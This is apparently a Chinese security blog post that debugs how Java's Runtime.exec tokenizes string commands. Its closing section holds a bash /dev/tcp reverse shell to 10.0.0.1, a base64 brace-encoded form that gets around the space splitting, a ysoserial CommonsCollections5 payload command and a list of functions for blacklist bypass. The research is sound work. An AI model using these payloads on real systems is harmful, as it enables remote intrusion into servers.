Java Runtime.getRuntime().exec参数的一些问题
date
Jun 16, 2022
slug
java-runtime-exec-param-problem
status
Published
tags
Java安全
安全研究
summary
这个点有时候实际情况坑还是挺多的
type
Post
首先Java下的命令执行大家都知道常见的两种方式:
1.使用ProcessBuilder
ProcessBuilder pb=new ProcessBuilder(cmd);
pb.start();
2.使用Runtime
Runtime.getRuntime().exec(cmd)
但是这两种方式在遇到
|,<,>
等符号就不太能够执行比如这样一段代码:
String cmd = "echo 3333 && echo 3333";
Process proc = Runtime.getRuntime().exec(cmd);
InputStream in = proc.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in,"UTF8"));
String line = "";
while((line = br.readLine()) != null){
System.out.println(line);
}
只会执行前面一段
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F4ab42658-4151-4711-9fa6-806cdbbb3e52%2FUntitled.png%3Fid%3D34df881e-dc9f-4c7f-a24b-055bcd3fd868%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722153600000%26signature%3D66rvYKR4Tq8hpiZtV62r3wKF0-cFQ-nFRH-dz5OlMQw?table=block&id=34df881e-dc9f-4c7f-a24b-055bcd3fd868&cache=v2)
跟进exec函数可以发现,实现了函数的重载overlay
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
public Process exec(String command, String[] envp) throws IOException {
return exec(command, envp, null);
}
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
}
public Process exec(String[] cmdarray, String[] envp) throws IOException {
return exec(cmdarray, envp, null);
}
根据上述代码例子执行的应该是String Command参数的那一个函数,继续跟进那个函数,发现进入到这个exec函数中,command的内容进入到了StringTokenizer中
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Facb7ca6c-4ac7-4bbd-92b3-e5528be5a384%2FUntitled.png%3Fid%3D316b5887-b27d-4b9d-913c-78a5c102ccd7%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722153600000%26signature%3DD6W1i8VmJZk9ysdo2bbhgDQBErY11eO2fjW_4mw4ZOI?table=block&id=316b5887-b27d-4b9d-913c-78a5c102ccd7&cache=v2)
继续跟,发现这个函数是给一些特殊字符上tag
然后再次返回到exec中,此时命令已经变成了数组
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Fab198dd0-4872-4a2f-9c00-d3465ee2210f%2FUntitled.png%3Fid%3D0e19f3fe-8856-481d-aeee-30b61e17f7ed%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722153600000%26signature%3DO7eLSNdzDDTw3WxTMaTfujyohM_NEMouCy6x6wXNJLg?table=block&id=0e19f3fe-8856-481d-aeee-30b61e17f7ed&cache=v2)
继续跟进可以发现exec其实本质是使用的还是ProcessBuilder进行命令执行
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F540cb1d8-539f-4ac1-9498-87f20dfc5e8e%2FUntitled.png%3Fid%3D0472a21e-83c2-4219-9d2a-dc3b95068bd4%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722153600000%26signature%3DLUPBCaA0wntKrmKpqghs8G9y9xwGPa44yHMj_yWEcPA?table=block&id=0472a21e-83c2-4219-9d2a-dc3b95068bd4&cache=v2)
因为
ProcessBuilder.start
方法是命令执行,那么跟进这个start我们发现,首先prog获取cmdarray[0]
也就是我们的/bin/sh
,然后判断security是否为null,如果不为null就会校验checkExec![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F293142e8-a133-491d-b8f1-13f55a519b97%2FUntitled.png%3Fid%3Dbde97e05-23c0-498f-8a1b-6bba4c5a6ecf%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722153600000%26signature%3Donv5bfSzG9SDa-_AK54tGLwkhzYSkYjFNODf2DFu_ms?table=block&id=bde97e05-23c0-498f-8a1b-6bba4c5a6ecf&cache=v2)
然后会跟进到
java.lang.ProcessImpl.start
函数中![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F2bbd24b7-4f2f-49f3-9d48-6bbfb64ecda8%2FUntitled.png%3Fid%3D233c4d59-0ae8-42ba-9a5d-b8e6da28047a%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722153600000%26signature%3Dz7k6_IMegO6zusgt5oq9LVwVptSmNVqGYW8_2eOnr6I?table=block&id=233c4d59-0ae8-42ba-9a5d-b8e6da28047a&cache=v2)
继续跟进,发现存在调用
java.lang.UnixProcess
这个类的构造函数来执行命令,而且使用的是cmdarray[0]
来判断用什么命令![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F01376974-8a07-482a-b08b-7a2bb2f4b2d7%2FUntitled.png%3Fid%3Dd3070213-f1c3-4a3b-a517-63af7dd151a3%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722153600000%26signature%3DDznFC4U4dxO8J5whNdpFVMptydCbsY_D3071X6F-JM4?table=block&id=d3070213-f1c3-4a3b-a517-63af7dd151a3&cache=v2)
最后使用forkAndExec启动一个新进程,此处可以发现启动进程的pid为24909
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Fe5f4ce90-3c7b-4380-a04a-fccc2420cd75%2FUntitled.png%3Fid%3Dfb960705-571f-472f-b1df-ac8ab098ebd4%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722153600000%26signature%3DSTbunJPRcz-3sWOuVokGwK5wmU8JTYf1lcVk1Z0GgBs?table=block&id=fb960705-571f-472f-b1df-ac8ab098ebd4&cache=v2)
实际上这个函数是一个native函数,后面会调用C/C++的代码,所以这里继续跟下去是看不到对应内容的了
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F0d04df5d-025d-47af-b44b-3db8010c6c41%2FUntitled.png%3Fid%3D9bfa2144-5ae7-4e98-90af-49b58421cc1a%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722153600000%26signature%3DGvliH0ciw4UDar6RFRiV4iBu--xkk5Zd6SUpXd4xR_U?table=block&id=9bfa2144-5ae7-4e98-90af-49b58421cc1a&cache=v2)
此时观察一下确实执行了一条echo的命令
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F6940d13e-216a-4937-a1f2-701206a31f22%2FUntitled.png%3Fid%3D4cbbb3a7-d855-41bd-a3a7-6d45ad0d5605%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722153600000%26signature%3D3iCvBkJ5xEkUAZR62l_DTu_94bcdRvdZhcpiN_ztZbw?table=block&id=4cbbb3a7-d855-41bd-a3a7-6d45ad0d5605&cache=v2)
其实从这一步
java.lang.Runtime#exec(java.lang.String[], java.lang.String[], java.io.File)
就可以发现命令执行已经变了味道,命令都被分割成一块块的,相当于第一个echo后面的内容都是echo执行的参数,所以最后会命令执行结果输出3333 && echo 3333
了![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F7d812fd9-5bad-41b2-83b7-3e4f8dfc8702%2FUntitled.png%3Fid%3D44e85e5a-6f74-4822-a767-2455a6ce343f%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722153600000%26signature%3D2WYa5SoXZO9MfuaSzwTStBpH33l3HjtlSSqTFhiob1s?table=block&id=44e85e5a-6f74-4822-a767-2455a6ce343f&cache=v2)
如果改成了数组类型的,
String[] cmd = {"echo 3333", "&&","echo 34444"};
,此时就没有经过StringTokenizer这个类的拆分,进入ProcessBuilder也没像上面分成一块块的,完全是按照我们数组的分块传入![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Fea3c62c7-8b61-45eb-aa59-6eda95b961b9%2FUntitled.png%3Fid%3D2654b57d-9721-461b-9963-d3eb64c2bf61%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722153600000%26signature%3DbOVFyUGpVLelMiOFY7ngQ199suV2oY9Pe17Ufq6C2ZM?table=block&id=2654b57d-9721-461b-9963-d3eb64c2bf61&cache=v2)
综上,也就是说getRuntime().exec()如果直接传入字符串会经过StringTokenizer的分割,进而破坏其原本想要表达的意思。
可见经过StringTokenizer对字符串中空格类的处理其实是一种java对命令执行的保护机制,他可以防御以下这种命令注入,其效果相当于php中的escapeshellcmd。
String cmd = "echo " + 可控点;
Runtime.getRuntime().exec(cmd)
还有一个点就是命令为什么要分隔成数组,原因是因为ProcessBuilder,它的构造方法中只允许列表和字符串数组
public ProcessBuilder(String... command) {
this.command = new ArrayList<>(command.length);
for (String arg : command)
this.command.add(arg);
}
public ProcessBuilder(List<String> command) {
if (command == null)
throw new NullPointerException();
this.command = command;
}
总结
- 上述问题的解决方法:
一.使用数组的方式进行命令执行
String[] command = { "/bin/sh", "-c", "echo 2333 2333 2333 && echo 2333 2333 2333" };
Runtime.getRuntime().exec(command)
二.使用编码的方式绕过对空格分割
P牛对这个点也做了解释
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F2fc03da3-91d4-4710-b8be-19de77bfe2ab%2FUntitled.png%3Fid%3D8c04750a-e7b0-4c17-a9ce-f37cd4402173%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722153600000%26signature%3DwaEO7CaJ3rv0y9GFCtp75VTG9EoouDtnLTRRKGbSTX0?table=block&id=8c04750a-e7b0-4c17-a9ce-f37cd4402173&cache=v2)
所以测了一下这个subprocess,当shell参数为true的时候,相当于执行shell语句,所以反引号是可以执行命令的
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Fb3b9136f-3c6f-4ca7-9789-267e5c0ffe18%2FUntitled.png%3Fid%3D66b75e48-d1d3-431b-acea-ea7097be8509%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722153600000%26signature%3DFnMJeBzYgEk2T3jx9vKhM-YaolWVElovt4-ySSMMpV4?table=block&id=66b75e48-d1d3-431b-acea-ea7097be8509&cache=v2)
但是当shell为False的话,就是执行启动命令本身,也就是curl,所以返回原来的内容
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F365ab645-7241-4371-9abc-14f003aa5eb5%2FUntitled.png%3Fid%3D66e260db-9a9a-44dc-91fe-836946dec24c%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722153600000%26signature%3D_rbVh924fN3hYskbHDvyOwN7FIiaocD7B22LUcmfASc?table=block&id=66e260db-9a9a-44dc-91fe-836946dec24c&cache=v2)
Java中的Runtime.getRuntime().exec()效果类似shell=False,而PHP中的shell_exec就类似于shell=True。所以在Java中如果需要执行bash的话,那么就需要保证第一个参数为
bash
了,改造一下就是这样bash -c "bash -i >& /dev/tcp/10.0.0.1/21 0>&1”
但Runtime.getRuntime().exec()有另外一个特性,它会用空格将命令分割成一个数组,并将数组的第一个字符串作为可执行文件路径,后面的字符串作为参数。容易破坏了命令原本的意思
所以一般需要规避一下空格,可以用上面的格式转换的地址转换一下,变成这样:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYxIA==}|{base64,-d}|{bash,-i}
此时就可以直接yso进行处理了
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser
- 调试过程中一些关键函数点,可用于黑名单绕过
Runtime.exec
new ProcessBuilder(cmd).start
/java.lang.ProcessImpl.start
UnixProcess
的构造函数UnixProcess
的forkAndExec
函数